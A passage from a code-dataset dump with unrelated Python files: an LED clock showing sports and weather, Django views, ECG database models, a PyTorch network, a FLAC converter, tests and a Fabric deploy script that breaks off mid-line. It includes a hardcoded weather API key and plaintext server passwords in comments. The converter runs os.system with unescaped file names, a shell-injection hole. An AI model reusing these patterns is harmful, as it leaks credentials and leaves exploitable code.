nextGame['DTSTART'].dt.astimezone(tz.tzlocal()).strftime(\"%A\")+\"{d:%l}:{d.minute:02}{d:%p}\".format(d=nextGame['DTSTART'].dt.astimezone(tz.tzlocal())), font=smfont, fill=white)\n else:\n len = imageDraw.text((36, 9), nextGame['DTSTART'].dt.astimezone(tz.tzlocal()).strftime(\"%Y/%m/%d\").format(d=nextGame['DTSTART'].dt.astimezone(tz.tzlocal())), font=smfont, fill=white)\n\n #print(nextGame['SUMMARY'])\n #if who == \"Men's Hockey\" or who == \"Women's Hockey\":\n # if nextGame['LOCATION'].find(\"Polisseni\") != -1:\n # text = \"HOME vs\"+ str(nextGame['SUMMARY']).split(\" vs \",1)[1].replace(\" \",\" \")\n # c=orange\n # else:\n # text = \"Away vs\"+str(nextGame['SUMMARY']).split(\" at \",1)[1].replace(\" \",\" \")\n # c=white\n #else:\n # c=(0,0,255)\n # text = str(nextGame['SUMMARY'])\n text = str(nextGame['SUMMARY']).replace(who+\" at \",'Away vs ').encode('ascii', 'ignore').decode('ascii')\n text = text.replace(who+\" @ \",'Away vs ')\n text = text.replace(who+\" vs \",'HOME vs ')\n c=(0,0,255)\n #text = str(nextGame['SUMMARY'])\n\n text = re.sub(r'Baseball: .* vs. ', '', text)\n\n imageDraw.text((posLoc, 16), text, font=medfont, fill=c)\n len = imageDraw.textsize(text, font=medfont)[0]\n posLoc -= 1.5\n if (posLoc + len < 0):\n #if time.time() > t_end:\n # break\n #posLoc = image.width\n break\n\n image.paste(icon, (0,0), icon)\n \n if weather is not None:\n weather.update(imageDraw)\n offscreen_canvas.SetImage(image.convert('RGB'), 0, 0)\n offscreen_canvas = matrix.SwapOnVSync(offscreen_canvas)\n\n if until.days > 9:\n putClock(str(until.days)+\"d \")\n elif until.days > 0:\n #print(until.seconds//3600)\n #print((until.seconds//60)%60)\n if blink:\n h = until.seconds//3600\n if h > 9:\n putClock(str(h)+\"h \")\n else:\n putClock(\" \"+str(h)+\"h \")\n else:\n putClock(\"-\"+str(until.days)+\"d \")\n else:\n h = until.seconds//3600\n m = (until.seconds%3600)//60\n if h > 9:\n putClock(str(h)+str(m).zfill(2))\n else:\n putClock(\"-\"+str(h)+str(m).zfill(2))\n\n time.sleep(.01)\n\ndef suffix(d):\n return 'th' if 11<=d<=13 else {1:'st',2:'nd',3:'rd'}.get(d%10, 'th')\n\ndef custom_strftime(format, t):\n return t.strftime(format).replace('{S}', str(t.day) + suffix(t.day))\n\n\ndef doClock( duration, temp, forecast, icon ):\n global offscreen_canvas, graphics, weather\n i=0;\n t_end = time.time() + duration\n image = Image.new('RGBA', (matrix.width, matrix.height))\n imageDraw = ImageDraw.Draw(image)\n while time.time() < t_end:\n #color = colorsys.hsv_to_rgb(i/1000, 1.0, 1.0)\n #print(color)\n offscreen_canvas.Clear()\n imageDraw.rectangle((0,0,matrix.width, matrix.height), fill=(0,0,0,0))\n if temp is not None and forecast is not None:\n if iconImg is not None:\n image.paste(icon, (0,0) )\n i = .7-((temp/100)*.7)\n color = colorsys.hsv_to_rgb(i, 1.0, 1.0)\n imageDraw.text( (33, 0), str(temp), font=largefont, fill=(int(color[0]*255), int(color[1]*255), int(color[2]*255)))\n imageDraw.arc( (55,0,59,4),0,360,fill=(int(color[0]*255), int(color[1]*255), int(color[2]*255)))\n #forecast = \"Partly Cloudy\"\n f = largefont\n xo = 0\n len = imageDraw.textsize(forecast, font=f)[0]\n if len > 128-62:\n f=tightfont\n xo = 7\n len = imageDraw.textsize(forecast, font=f)[0]\n if len > 128-62:\n f=smfont\n xo = 9\n imageDraw.text( (62, xo), forecast, font=f, fill=(int(color[0]*255), int(color[1]*255), int(color[2]*255)))\n imageDraw.text( (33, 20), custom_strftime(\"%a, %b {S}\", datetime.datetime.now()), font=tightfont, fill=white)\n \n if weather is not None:\n weather.update(imageDraw)\n #imageDraw.rectangle((0,0,matrix.width, matrix.height), fill=(0,0,0,128))\n offscreen_canvas.SetImage(image.convert('RGB'), 0, 0)\n offscreen_canvas = matrix.SwapOnVSync(offscreen_canvas)\n now = datetime.datetime.now()\n hh = now.hour%12\n if hh == 0:\n hh = 12\n if hh < 10:\n putClock(\" \"+str(hh)+str(now.minute).zfill(2))\n else:\n putClock(str(hh)+str(now.minute).zfill(2))\n time.sleep(.01);\n i+=10\n\nteamNameCache = {}\ndef baseballStandings( duration ):\n global offscreen_canvas, graphics, weather, teamNameCache\n try:\n r = statsapi.get('standings', {'leagueId':103, 'season':2021})\n standings = \"\"\n t_end = time.time() + duration\n image = Image.new('RGBA', (matrix.width, matrix.height))\n imageDraw = ImageDraw.Draw(image)\n while time.time() < t_end:\n imageDraw.rectangle((0,0,matrix.width, matrix.height), fill=(0,20,0,0))\n ypos = 0;\n for y in (y for y in r['records'] if y['division']['id']==201):\n for x in y['teamRecords']:\n if x['team']['name'] not in teamNameCache:\n teamNameCache[x['team']['name']] = statsapi.lookup_team(x['team']['name'])[0]['teamName']#.upper()\n if teamNameCache[x['team']['name']] == \"Red Sox\":\n cb = (189,48,57)\n cf = (12,35,64)\n elif teamNameCache[x['team']['name']] == \"Blue Jays\":\n cb = (19,74,92)\n cf = (232,41,28)\n elif teamNameCache[x['team']['name']] == \"Rays\":\n cb = (9,44,92)\n cf = (245,209,48)\n elif teamNameCache[x['team']['name']] == \"Orioles\":\n cb = (223,70,1)\n cf = (39,37,31)\n elif teamNameCache[x['team']['name']] == \"Yankees\":\n cb = (0,48,135)\n cf = (228,0,44)\n else:\n c = white\n line = \"%10s %d %d %s %s\\n\" % (teamNameCache[x['team']['name']], x['wins'], x['losses'], x['winningPercentage'], x['gamesBack'])\n #imageDraw.rectangle((0,ypos,matrix.width, ypos+8), fill=cb)\n imageDraw.text( (-3, ypos+1), line, font=smfont, fill=(0,0,0,0))\n imageDraw.text( (-4, ypos), line, font=smfont, fill=cb)\n ypos += 8\n if weather is not None:\n weather.update(imageDraw)\n offscreen_canvas.Clear()\n offscreen_canvas.SetImage(image.convert('RGB'), 0, 0)\n offscreen_canvas = matrix.SwapOnVSync(offscreen_canvas)\n now = datetime.datetime.now()\n hh = now.hour%12\n if hh == 0:\n hh = 12\n if hh < 10:\n putClock(\" \"+str(hh)+str(now.minute).zfill(2))\n else:\n putClock(str(hh)+str(now.minute).zfill(2))\n time.sleep(.01);\n except:\n print(\"Something wrong with MLB again\");\n\n\ndef doTransition():\n global offscreen_canvas, graphics, matrix\n\n image = Image.new('RGBA', (matrix.width, matrix.height))\n imageDraw = ImageDraw.Draw(image)\n image.paste(tigerhead, (0, 0), tigerhead)\n for i in range(matrix.width):\n offscreen_canvas.Clear()\n offscreen_canvas.SetImage(image.convert('RGB'), i, 0)\n offscreen_canvas = matrix.SwapOnVSync(offscreen_canvas)\n time.sleep(.001);\n for i in range(tigerhead.width):\n offscreen_canvas.Clear()\n offscreen_canvas.SetImage(image.convert('RGB'), i-tigerhead.width, 0)\n offscreen_canvas = matrix.SwapOnVSync(offscreen_canvas)\n time.sleep(.001);\n\ndef animatedGif(duration, delay, fileName):\n global offscreen_canvas, graphics, matrix\n t_end = time.time() + duration\n im = Image.open(fileName)\n nframe = 0\n while time.time() < t_end:\n try:\n im.seek( nframe )\n nframe += 1\n except:\n nframe = 0\n im.seek( nframe )\n offscreen_canvas.Clear()\n offscreen_canvas.SetImage(im.convert('RGB'), 0, 0)\n offscreen_canvas = matrix.SwapOnVSync(offscreen_canvas)\n time.sleep(delay);\n\n\nweatherTime = 0\ntempf = None\nforecast = None\niconImg = None\n# https://gist.github.com/tbranyen/62d974681dea8ee0caa1\ntry:\n while True:\n #\n baseballStandings(10);\n #\n\n #animatedGif(3, .1, 'heihei.gif')\n currentTime = time.time()\n if(lastCalUpdate + 60*60 < time.time()):\n updateCalendars()\n lastCalUpdate = currentTime \n if weatherTime+600 < currentTime:\n try:\n print(\"Get weather...\\n\");\n weatherTime = currentTime\n #f = urlopen('http://api.openweathermap.org/data/2.5/weather?id=5134086&units=imperial&APPID='+config.owmapi)\n f = urlopen('https://api.darksky.net/forecast/0484ffefd739d22fcaf513160daece7c/43.15,-77.62')\n json_string = f.read().decode('utf-8')\n parsed_json = json.loads(json_string)\n print(parsed_json)\n\n #tempf = int(round(parsed_json['main']['temp']))\n #forecast = parsed_json['weather'][0]['description'].title()\n #iconfile = iconmap[str(parsed_json['weather'][0]['id'])]['icon']\n #icon = parsed_json['weather'][0]['icon']\n\n tempf = int(round(parsed_json['currently']['temperature']))\n forecast = parsed_json['currently']['summary'].title()\n iconfile = parsed_json['currently']['icon']\n\n #forecast = \"Heavy Rain\"\n if forecast.upper().find('SNOW') != -1:\n weather = Snow(matrix.width, matrix.height)\n elif forecast.upper().find('RAIN') != -1:\n weather = Rain(matrix.width, matrix.height, forecast)\n else:\n weather = None\n print(iconfile)\n iconImg = Image.open(\"icons/32x32/\"+iconfile+\".png\")\n #iconImg = Image.open(\"weather-icons/svg/wi-\"+iconfile+\".png\")\n iconImg = ImageOps.solarize(iconImg)\n print (\"Current temperature is: %s\" % (tempf))\n f.close()\n except Exception as e:\n traceback.print_exc(file=sys.stdout)\n print (\"Can't get weather data\\n\")\n \n doClock(5, tempf, forecast, iconImg)\n\n for c in calendars:\n if c['next'] is not None:\n doGame(c['next'], c['name'], c['icon'], 15)\nfinally:\n GPIO.cleanup() \n","sub_path":"clock.py","file_name":"clock.py","file_ext":"py","file_size_in_byte":20813,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"459548837","text":"from django.shortcuts import render, get_object_or_404,redirect\nfrom django.http import HttpResponse, Http404\nfrom .models import Product\nfrom .forms import ProductForm, RawProductForm\n\n\ndef home_view(request,*args,**kwargs):\n context = {\n\n }\n return render(request,'home.html',context)\n\ndef products_createX(request):\n my_form = RawProductForm()\n\n if request.method == 'POST':\n my_form = RawProductForm(request.POST or None)\n if my_form.is_valid():\n Product.objects.create(**my_form.cleaned_data)\n my_form = RawProductForm()\n context = {\n 'form': my_form\n }\n return render(request,'product_temp/productForm_viewsX.html',context)\n\n\ndef products_detail(request,*args,**kwargs):\n obj = Product.objects.all()\n \"\"\"context = {\n 'tilte' : obj.title,\n 'desc' : obj.desc,\n 'price' : obj.price,\n 'status': obj.status\n }\"\"\"\n\n context = {\n 'obj' : obj\n }\n return render(request, \"product_temp/detail.html\", context)\n\ndef dynamic_detail(request,*args,**kwargs):\n queryset = Product.objects.all()\n context = {\n 'queryset': queryset\n }\n return render(request, 'product_temp/dynamic_detail.html',context)\n\n# def products_createX(request):\n# if request.method == \"POST\":\n# new_title = request.POST.get('title')\n# #Product.objects.create(title=new_title)\n# print(new_title)\n# context = {}\n# return render(request, 'product_temp/productForm_viewsX.html', context)\n\ndef products_create(request):\n # obj = Product.objects.get(id=10)\n # initial_data = {\n # 'title': 'Awesome title'\n # }\n\n # form = ProductForm(request.POST or None, initial=initial_data, instance=obj)\n\n form = ProductForm(request.POST or None)\n if form.is_valid():\n form.save()\n form = ProductForm()\n context = {\n 'form': form\n }\n return render(request, 'product_temp/productForm_views.html', context)\n\n\ndef dynamic_lookup_view(request, my_id):\n #get_object_or_404 \n #Http404\n # try:\n # obj = Product.objects.get(id=my_id)\n # except Product.DoesNotExist:\n # raise Http404\n obj = get_object_or_404(Product, id=my_id)\n context = {\n 'obj': obj\n }\n return render(request, 'product_temp/lookup.html', context)\n\n\ndef product_delete_view(request,my_id):\n obj = get_object_or_404(Product,id=my_id)\n if request.method == 'POST':\n obj.delete()\n return redirect(\"../../\")\n context = {\n 'obj': obj\n }\n return render(request,'product_temp/delete_view.html',context)\n\n\n\ndef product_edit_view(request, my_id):\n obj = get_object_or_404(Product, id=my_id)\n\n initial_data = {\n 'title': obj.title,\n 'desc' : obj.desc,\n 'price': obj.price\n }\n form = ProductForm(request.POST or None,initial=initial_data,instance=obj)\n\n if form.is_valid():\n form.save()\n return redirect('../../')\n ProductForm()\n\n context = {\n 'form': form\n }\n return render(request, 'product_temp/edit_view.html',context)\n\n\n","sub_path":"products/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3094,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"282681441","text":"# -*- coding: utf-8 -*-\n\nfrom kwod_webapp.database.configuration import db\n\n\n# Klasa ECGRecording, która dziedziczy po klasie Model\nclass ECGRecording(db.Model):\n __tablename__ = 'ecgrecording'\n\n # Pola w klasie, czyli w tym przypadku kolumny w tabeli:\n\n # Kolumna typu integer - identyfikator danego przebiegu EKG -\n # klucz główny \"primary key\"\n id = db.Column(db.Integer, primary_key=True)\n\n # Kolumna typu string (to może być nazwa, opis)\n name = db.Column(db.String(1024))\n\n # Kolumna typu czas (np data badania)\n timestamp = db.Column(db.DateTime())\n\n # Kolumna typu string (ścieżka do pliku z danymi)\n url = db.Column(db.String(1024))\n\n # Kolumna typu integer - liczba plotów\n plot_count = db.Column(db.Integer)\n\n # Kolumna typu integer - częstotliwość próbkowania\n frequency = db.Column(db.Integer)\n\n # Kolumna typu integer - liczba próbek w recordingu\n sample_count = db.Column(db.Integer)\n\n # Kolumna typu string - komentarz do badania\n comment = db.Column(db.String(16384))\n\n id_patient = db.Column(db.Integer, db.ForeignKey('ecgpatient.id'))\n\n # Konstruktor który służy do dodawania rzeczy do bazy danych\n def __init__(self, name, timestamp, url, plot_count, frequency, sample_count, comment):\n self.name = name\n self.timestamp = timestamp\n self.url = url\n self.plot_count = plot_count\n self.frequency = frequency\n self.sample_count = sample_count\n self.comment = comment\n\n # Dzięki tej metodzie można wypisywać obiekty na konsolę jako string\n def __repr__(self):\n return '' % self.name\n\n\n# Klasa ECGRecording, która dziedziczy po klasie Model\nclass ECGPatient(db.Model):\n __tablename__ = 'ecgpatient'\n\n # Pola w klasie, czyli w tym przypadku kolumny w tabeli:\n\n # Kolumna typu integer - identyfikator danego przebiegu EKG -\n # klucz główny \"primary key\"\n id = db.Column(db.Integer, primary_key=True)\n\n # Kolumna typu string (to może być nazwa, opis)\n name = db.Column(db.String(1024))\n surname = db.Column(db.String(1024))\n recordings = db.relationship(\"ECGRecording\", backref=\"patient\")\n\n # Konstruktor który służy do dodawania rzeczy do bazy danych\n def __init__(self, name, surname):\n self.name = name\n self.surname = surname\n\n # Dzięki tej metodzie można wypisywać obiekty na konsolę jako string\n def __repr__(self):\n return '' % (self.name + \" \" + self.surname)\n","sub_path":"kwod_webapp/database/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":2532,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"290504096","text":"def addition(*arg):\n y = 0\n x = [*arg]\n sums = 0\n for i in x:\n sums = sums + x[y]\n y += 1\n print(sums)\n \ndef multiply(*arg):\n y = 0\n x = [*arg]\n product = 1\n for i in x:\n product = product * x[y]\n y += 1\n print(product)\n\ndef substract(*arg):\n y = 0\n x = [*arg]\n sub = x[0]\n for i in x:\n y += 1\n if y >= len(x):\n print(sub)\n break\n sub = sub - x[y]\n \ndef divide(*arg):\n y = 0\n x = [*arg]\n div = x[0]\n for i in x:\n y += 1\n if y >= len(x):\n print(div)\n break\n div = div / x[y]\n","sub_path":"24-09-19/Calculator Advanced Functions.py","file_name":"Calculator Advanced Functions.py","file_ext":"py","file_size_in_byte":648,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"277578790","text":"import torch\nimport torch.nn as nn\nimport torch.nn.functional as F\n\n\nclass Prediction(nn.Module):\n def __init__(self, num_channels):\n super(Prediction, self).__init__()\n self.num_layers = 4\n self.in_channel = num_channels\n self.kernel_size = 9\n self.num_filters = 64\n\n self.layer_in = nn.Conv2d(in_channels=self.in_channel, out_channels=self.num_filters,\n kernel_size=self.kernel_size, padding=4, stride=1, bias=False)\n nn.init.xavier_uniform_(self.layer_in.weight.data)\n self.lam_in = nn.Parameter(torch.Tensor([0.01]))\n\n self.lam_i = []\n self.layer_down = []\n self.layer_up = []\n for i in range(self.num_layers):\n down_conv = 'down_conv_{}'.format(i)\n up_conv = 'up_conv_{}'.format(i)\n lam_id = 'lam_{}'.format(i)\n layer_2 = nn.Conv2d(in_channels=self.num_filters, out_channels=self.in_channel,\n kernel_size=self.kernel_size, padding=4, stride=1, bias=False)\n nn.init.xavier_uniform_(layer_2.weight.data)\n setattr(self, down_conv, layer_2)\n self.layer_down.append(getattr(self, down_conv))\n layer_3 = nn.Conv2d(in_channels=self.in_channel, out_channels=self.num_filters,\n kernel_size=self.kernel_size, padding=4, stride=1, bias=False)\n nn.init.xavier_uniform_(layer_3.weight.data)\n setattr(self, up_conv, layer_3)\n self.layer_up.append(getattr(self, up_conv))\n\n lam_ = nn.Parameter(torch.Tensor([0.01]))\n setattr(self, lam_id, lam_)\n self.lam_i.append(getattr(self, lam_id))\n\n def forward(self, mod):\n p1 = self.layer_in(mod)\n tensor = torch.mul(torch.sign(p1), F.relu(torch.abs(p1) - self.lam_in))\n\n for i in range(self.num_layers):\n p3 = self.layer_down[i](tensor)\n p4 = self.layer_up[i](p3)\n p5 = tensor - p4\n p6 = torch.add(p1, p5)\n tensor = torch.mul(torch.sign(p6), F.relu(torch.abs(p6) - self.lam_i[i]))\n return tensor\n\nclass decoder(nn.Module):\n def __init__(self):\n super(decoder, self).__init__()\n self.channel = 1\n self.kernel_size = 9\n self.filters = 64\n self.conv_1 = nn.Conv2d(in_channels=self.filters, out_channels=self.channel, kernel_size=self.kernel_size,\n stride=1, padding=4, bias=False)\n nn.init.xavier_uniform_(self.conv_1.weight.data)\n self.conv_2 = nn.Conv2d(in_channels=self.filters, out_channels=self.channel, kernel_size=self.kernel_size,\n stride=1, padding=4, bias=False)\n nn.init.xavier_uniform_(self.conv_2.weight.data)\n\n def forward(self, u, z):\n rec_u = self.conv_1(u)\n rec_z = self.conv_2(z)\n z_rec = rec_u + rec_z\n return z_rec\n\n\nclass CUNet(nn.Module):\n def __init__(self):\n super(CUNet, self).__init__()\n self.channel = 1\n self.num_filters = 64\n self.kernel_size = 9\n self.net_u = Prediction(num_channels=self.channel)\n self.conv_u = nn.Conv2d(in_channels=self.num_filters, out_channels=self.channel, kernel_size=self.kernel_size,\n stride=1, padding=4, bias=False)\n nn.init.xavier_uniform_(self.conv_u.weight.data)\n self.net_v = Prediction(num_channels=self.channel)\n self.conv_v = nn.Conv2d(in_channels=self.num_filters, out_channels=self.channel, kernel_size=self.kernel_size,\n stride=1, padding=4, bias=False)\n nn.init.xavier_uniform_(self.conv_v.weight.data)\n self.net_z = Prediction(num_channels=2 * self.channel)\n self.decoder = decoder()\n\n def forward(self, x, y):\n u = self.net_u(x)\n v = self.net_v(y)\n\n p_x = x - self.conv_u(u)\n p_y = y - self.conv_v(v)\n p_xy = torch.cat((p_x, p_y), dim=1)\n\n z = self.net_z(p_xy)\n f_pred = self.decoder(u, z)\n return f_pred\n\nif __name__ == '__main__':\n cu = CUNet()\n print(cu)\n a = torch.rand([1, 1, 64, 64])\n b = torch.rand([1, 1, 64, 64])\n net = CUNet()\n a_out = net(a, b)\n print(a.shape)\n print(b.shape)\n print(a_out.shape)\n","sub_path":"MIR_Task_pytorch/RGB_guided_depth_image_SR/Code/CUNet.py","file_name":"CUNet.py","file_ext":"py","file_size_in_byte":4317,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"553468717","text":"#!/usr/bin/python\n# converts flac to mp3 (320 kb) using ffmpeg\n# put flac files/folders into 'flacFolder' and run script.\n# Requirements \n# ffmpeg: https://trac.ffmpeg.org/wiki/CompilationGuide/Ubuntu\n#\t: you can use the installFFmpeg.py script to automate the above\n# magic: https://github.com/ahupp/python-magic\n\nimport os\nimport magic\nimport sys\n\nhomeFolder = os.environ['HOME']\nconvertFolder = os.path.join(homeFolder, 'Share', 'musicConvert')\nflacFolder = os.path.join(convertFolder, 'flac')\nmp3Folder = os.path.join(convertFolder, 'mp3')\nffmpeg = os.path.join(homeFolder, 'bin', 'ffmpeg')\n\n\nflacSongList = []\n\nfor root, dirs, fileName in os.walk(flacFolder):\n\tfor i in fileName:\n\t\tfilePath = os.path.join(root, i)\n\t\tmimeType = magic.from_file(filePath, mime=True)\n\t\tif mimeType == 'audio/x-flac':\n\t\t\tflacSongList.append(filePath)\n\nfor flacSong in flacSongList:\n\tsongSubFolder = flacSong.split(flacFolder)[-1]\n\tmp3Song = mp3Folder + songSubFolder.replace('.flac', '.mp3')\n\tmp3AlbumFolder = '/'.join(mp3Song.split('/')[:-1])\n\tconvertCommand = '%s -i \"%s\" -b:a 320k \"%s\"' % (ffmpeg, flacSong, mp3Song)\n\tif not os.path.isdir(mp3AlbumFolder):\n\t\tos.makedirs(mp3AlbumFolder)\n\tos.system(convertCommand)\n","sub_path":"convert_flac_to_mp3.py","file_name":"convert_flac_to_mp3.py","file_ext":"py","file_size_in_byte":1203,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"432178241","text":"\"\"\"Lexicon tests\n\nFrom Exercise 48 of 'Learn Python the Hard Way', 3rd Ed.\n\"\"\"\n\n### IMPORTS ###################################################################\nfrom nose.tools import assert_equal, raises\nfrom ex48 import lexicon\n\n\n### scan TESTING ##############################################################\n# see the docstring for more basic doctest tests\ndef test_directions():\n \"\"\"lexicon directions testing\"\"\"\n assert_equal(lexicon.scan(\"north\"), [('direction', 'north')])\n result = lexicon.scan(\"north south east\")\n assert_equal(result, [\n ('direction', 'north'),\n ('direction', 'south'),\n ('direction', 'east'),\n ])\n\n\ndef test_verbs():\n \"\"\"lexicon verbs testing\"\"\"\n assert_equal(lexicon.scan(\"go\"), [('verb', 'go')])\n result = lexicon.scan(\"go kill eat\")\n assert_equal(result, [\n ('verb', 'go'),\n ('verb', 'kill'),\n ('verb', 'eat'),\n ])\n\n\ndef test_stops():\n \"\"\"lexicon stops testing\"\"\"\n assert_equal(lexicon.scan(\"the\"), [('stop', 'the')])\n result = lexicon.scan(\"the in of\")\n assert_equal(result, [\n ('stop', 'the'),\n ('stop', 'in'),\n ('stop', 'of'),\n ])\n\n\ndef test_nouns():\n \"\"\"lexicon nouns testing\"\"\"\n assert_equal(lexicon.scan(\"bear\"), [('noun', 'bear')])\n result = lexicon.scan(\"bear princess\")\n assert_equal(result, [\n ('noun', 'bear'),\n ('noun', 'princess'),\n ])\n\n\ndef test_numbers():\n \"\"\"lexicon numbers testing\"\"\"\n assert_equal(lexicon.scan(\"1234\"), [('number', 1234)])\n result = lexicon.scan(\"3 91234 -1 3.14159\")\n assert_equal(result, [\n ('number', 3),\n ('number', 91234),\n ('number', -1),\n ('number', 3.14159),\n ])\n\n\ndef test_errors():\n \"\"\"lexicon errors testing\"\"\"\n assert_equal(lexicon.scan(\"ASDFADFASDF\"), [('error', 'ASDFADFASDF')])\n result = lexicon.scan(\"bear IAS princess\")\n assert_equal(result, [\n ('noun', 'bear'),\n ('error', 'IAS'),\n ('noun', 'princess'),\n ])\n\n\ndef test_caps():\n \"\"\"lexicon capitalization testing\"\"\"\n assert_equal(lexicon.scan(\"GO\"), [('verb', 'GO')])\n result = lexicon.scan(\"go KiLl eat\")\n assert_equal(result, [\n ('verb', 'go'),\n ('verb', 'KiLl'),\n ('verb', 'eat'),\n ])\n\n\n@raises(AttributeError)\ndef test_non_string():\n \"\"\"lexicon non-string input exception raising test\"\"\"\n lexicon.scan(1234)\n","sub_path":"exercises_4X/ex48_ex49/tests/lexicon_tests.py","file_name":"lexicon_tests.py","file_ext":"py","file_size_in_byte":2403,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"38507649","text":"import os,sys\nfrom PyQt4 import QtGui\n\ndef addDesktopIcon():\n deskData = '''\n[Desktop Entry]\nVersion=1.0\nType=Application\nName=EasyMount\nComment=EasyMount manager\nExec={0} %F\nIcon=drive-optical\nCategories=Utility;\nMimeType=application/x-easymount\n '''.format( sys.argv[0] )\n \n filePath = os.path.expandvars(\"$XDG_DATA_HOME/applications/easymount.desktop\")\n \n f = open(filePath, \"w\")\n f.write(deskData)\n f.close()\ndef delDesktopIcon():\n filePath = os.path.expandvars(\"$XDG_DATA_HOME/applications/easymount.desktop\")\n os.remove(filePath)\n\ndef getFileName( fileName ):\n pos = fileName.rfind(\".\") \n return fileName[:pos]\n\ndef getFileExt( fileName ):\n pos = fileName.rfind(\".\") \n if pos >= 0:\n return fileName[pos+1:]\n else:\n return \"\"\n\ndef getIconFromTheme( themeIconName, fallbackIconName=\"\" ):\n\tfullPath = os.path.join( os.path.dirname(sys.argv[0]), fallbackIconName )\n\treturn QtGui.QIcon.fromTheme( themeIconName, QtGui.QIcon( fullPath ) )\n\ndef getIcon( iconName ):\n fullPath = os.path.join( os.path.dirname(sys.argv[0]), iconName )\n return QtGui.QIcon( fullPath )\n\ndef pid_exists(pid): \n #Check For the existence of a unix pid.\n if pid < 0:\n return False\n try:\n os.kill(pid, 0)\n except OSError:\n return False\n else:\n return True\n","sub_path":"easymount/em_utils.py","file_name":"em_utils.py","file_ext":"py","file_size_in_byte":1349,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"117912275","text":"import unittest\nimport uuid\n\nfrom pika import spec\n\nfrom rejected import utils\n\n\nclass TestImportNamspacedClass(unittest.TestCase):\n def test_import_consumer(self):\n import logging\n (result_class,\n result_version) = utils.import_consumer('logging.Logger')\n self.assertEqual(result_class, logging.Logger)\n\n def test_import_consumer_version(self):\n import logging\n (result_class,\n result_version) = utils.import_consumer('logging.Logger')\n self.assertEqual(result_version, logging.__version__)\n\n def test_import_consumer_no_version(self):\n (result_class,\n result_version) = utils.import_consumer('signal.ItimerError')\n self.assertIsNone(result_version)\n\n def test_import_consumer_failure(self):\n self.assertRaises(ImportError, utils.import_consumer,\n 'rejected.fake_module.Classname')\n\n\nclass MessageInfoTestCase(unittest.TestCase):\n def test_message_info_output(self):\n correlation_id = str(uuid.uuid4())\n message_id = str(uuid.uuid4())\n exchange = str(uuid.uuid4())\n routing_key = str(uuid.uuid4())\n expectation = ('{} [correlation_id=\"{}\"] '\n 'published to \"{}\" using \"{}\"').format(\n message_id, correlation_id, exchange, routing_key)\n\n properties = spec.BasicProperties(\n 'application/json',\n correlation_id=correlation_id,\n message_id=message_id)\n\n self.assertEqual(\n utils.message_info(exchange, routing_key, properties), expectation)\n\n def test_message_info_output_no_correlation_id(self):\n message_id = str(uuid.uuid4())\n exchange = str(uuid.uuid4())\n routing_key = str(uuid.uuid4())\n expectation = '{} published to \"{}\" using \"{}\"'.format(\n message_id, exchange, routing_key)\n\n properties = spec.BasicProperties(\n 'application/json', message_id=message_id)\n\n self.assertEqual(\n utils.message_info(exchange, routing_key, properties), expectation)\n\n def test_message_id_only(self):\n message_id = str(uuid.uuid4())\n\n properties = spec.BasicProperties(\n 'application/json', message_id=message_id)\n\n self.assertEqual(utils.message_info('', '', properties), message_id)\n\n def test_no_identifiable_info(self):\n properties = spec.BasicProperties('application/json')\n self.assertEqual(utils.message_info('', '', properties), '')\n","sub_path":"tests/test_utils.py","file_name":"test_utils.py","file_ext":"py","file_size_in_byte":2525,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"113771603","text":"import os\nimport random\n\nfrom fabric.api import env\nfrom fabric.contrib.files import exists, sed, append\nfrom fabric.operations import run, local, sudo\n\nREPO_URL = \"https://github.com/ivc-inform/selenium-tests.git\"\n\n\n# fab -u uandrew -p dfqc2 --sudo-password=dfqc2 -H 192.168.0.100 deploy\n# fab -u nginx -p nginx --sudo-password=nginx -H dev.db-support.ru deploy:81\n# fab -u uandrew -p dfqc2 --sudo-password=dfqc2 -H 192.168.0.104 reDeploy\n# fab -u uandrew -p dfqc2 --sudo-password=dfqc2 -H 192.168.0.100 makeService\n# fab -u uandrew -p nginx --sudo-password=nginx -dev.db-support.ru makeService:81\n\ndef deploy(port_servise=80):\n siteName = env.host\n siteFolder = f\"/home/{env.user}/sites/{siteName}\"\n sourceFolder = f\"{siteFolder}/source\"\n\n sudo(\"apt install -y apache2-utils\")\n sudo(\"add-apt-repository --yes ppa:fkrull/deadsnakes\")\n sudo(\"apt update\")\n sudo(\"apt dist-upgrade -y\")\n sudo(\"apt install -y nginx git python3.6 python3.6-venv git\")\n\n deployProcs(siteFolder, siteName, sourceFolder)\n serviceProcs(siteName, sourceFolder, env.user, port_servise)\n\n\ndef deployProcs(siteFolder, siteName, sourceFolder):\n createDirectoryStructure(siteFolder)\n getSources(sourceFolder)\n updateSetting(sourceFolder, siteName)\n updateVirtualEnv(sourceFolder)\n updateDatabase(sourceFolder)\n updateStatic(sourceFolder)\n\n\ndef reDeploy():\n siteName = env.host\n siteFolder = f\"/home/{env.user}/sites/{siteName}\"\n sourceFolder = f\"{siteFolder}/source\"\n\n deployProcs(siteFolder, siteName, sourceFolder)\n sudo(f\"systemctl restart {siteName}\")\n sudo(f\"systemctl status {siteName}\")\n\n\ndef createDirectoryStructure(siteFolder):\n for subfolder in (\"database\", \"source\", \"static\", \"virtualenv\"):\n run(f\"mkdir -p {siteFolder}/{subfolder}\")\n\n\ndef getSources(sourceFolder):\n if exists(f\"{sourceFolder}/.git\"):\n run(f\"cd {sourceFolder} && git fetch\")\n else:\n run(f\"git clone {REPO_URL} {sourceFolder}\")\n\n current_commit = local(\"git log -n 1 --format=%H\", capture=True)\n run(f\"cd {sourceFolder} && git reset --hard {current_commit}\")\n\n\ndef updateSetting(sourceFolder, siteName):\n settingPath = f\"{sourceFolder}/project/settings.py\"\n if not exists(settingPath):\n raise Exception(f\"File: {secretKeyFile} not exists.\")\n sed(settingPath, \"DEBUG 